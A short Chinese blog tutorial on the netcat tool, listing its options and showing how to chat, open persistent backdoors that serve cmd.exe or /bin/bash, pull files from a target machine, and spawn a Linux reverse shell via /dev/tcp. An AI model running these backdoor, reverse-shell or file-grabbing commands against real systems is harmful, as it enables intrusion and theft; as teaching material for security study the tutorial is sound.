netcat网络工具使用

一、NC命令参数:

      nc -h 查看命令参数
          -d 脱离命令窗口,在后台运行,常用于后门建立过程。
             nc64.exe -l dp -d 4444
          -e   执行某个程序,常用于后门建立过程。
          -G gateway 设置网关,常用于突破内网限制
          -g num 路由跳数
          -i sec 设置发送每一行数据的时间间隔
          -l 设置netcat处于监听状态等待连接
          -L 设置netcat处于监听状态等待连接,当客户端断开,服务器依旧回到等待状态。
          -n 设置netcat只识别ip地址,不进行DNS解析。    
          -o file 设置传输十六进制的数据
          -p 设置本地监听的端口号
          -r 设置netcat随机化端口号    
          -s addr 设置netcat源地址
          -t 回复telnet的请求数据包
          -u 设置netcat使用UDP模式
          -v 显示错误提示信息
          -w secs 设置连接超时秒数
          -z zero I/O模式,专用于端口扫描。表示对目标IP发送数据表中不包含任何
           payload,这样做可以加快扫描的速度。

二、基本用法,nc实现网络对话

      服务端:nc -l -p [localport]

      客户端:nc [remoteIP] [remotePort]

     

 

 

三、windows and linux shell返回应用,建立后门:

     1、创建服务端: nc -l -d -p [localport] -e cmd.exe  客户端连接后断开,nc自动退出

                                  nc -L -d -p [localport] -e cmd.exe  客户端连接后断开后可以重连

                                  nc -l -p 4444 -e /bin/bash   Linux建立后门的使用方法,连接型后门 nc [remote] [remote_port] -e /bin/bash
           注意防火墙过滤

      2、客户端连接:nc  [remoteIP] [remotePort]

      

 

 

 

 四、文件传输:

    1、使用场景

        (1)取证
           当目标机器被黑客攻击之后,取证人员可以利用nc的文件传输功能来获取目标机器上的文件内容。避免直接在目标机器上进行操作造成取证的误差。
        (2)单纯获取目标机器敏感文件
          当目标机器上有一些文件内容,无法正常下载时,可以利用nc进行文件传输。
        (3)为什么可以直接利用nc进行文件传输呢?
          nc中的数据传输使用的是标准的输入、输出流,所以可以直接利用命令行来进行操作。

    2、客户端向服务器端传输文件

          服务端创建:nc -l -p [localport] > outfile

          客户端创建:nc [remote_addr] [remoteport] < infile

 

 

   3、服务器向客户端传输文件,此时需要设置等待时间 ,如果此时服务器端没有准备好连接,而客户端已经使用nc进行连接,那么客户端

会一直等待下去,直到连接上服务器,造成一种假死状态。:       

     服务端创建:nc -w 1 -l -p [localport] < infile

     客户端创建:nc -w 1 [remote_addr] [remoteport] > outfile

 

 

 

五、Linux 反弹shell

1、客户端启用nc服务:nc -lvp port

2、服务器反弹shell:bash -i >& /dev/tcp/ip/port 0>&1

      bash -i:表示以交互模式运行bash shell           

      >&:重定向符,如果在其后加文件描述符,是将bash -i 交互模式传给文件描述符,而其后是文件,则将bash -i 交互模式传递给文件。/dev/tcp/ip/port表示传递给远程主机的IP地址对应的端口。

      文件描述符:0标准输入、1标准输出、2错误输入输出

       命令中的0>&1表示将标准输入重定向到标准输出,实现远程输入可以在远程输出的对应内容。

 

posted @ 2020-08-03 15:59  弘心壮志  阅读(205)  评论(0编辑  收藏  举报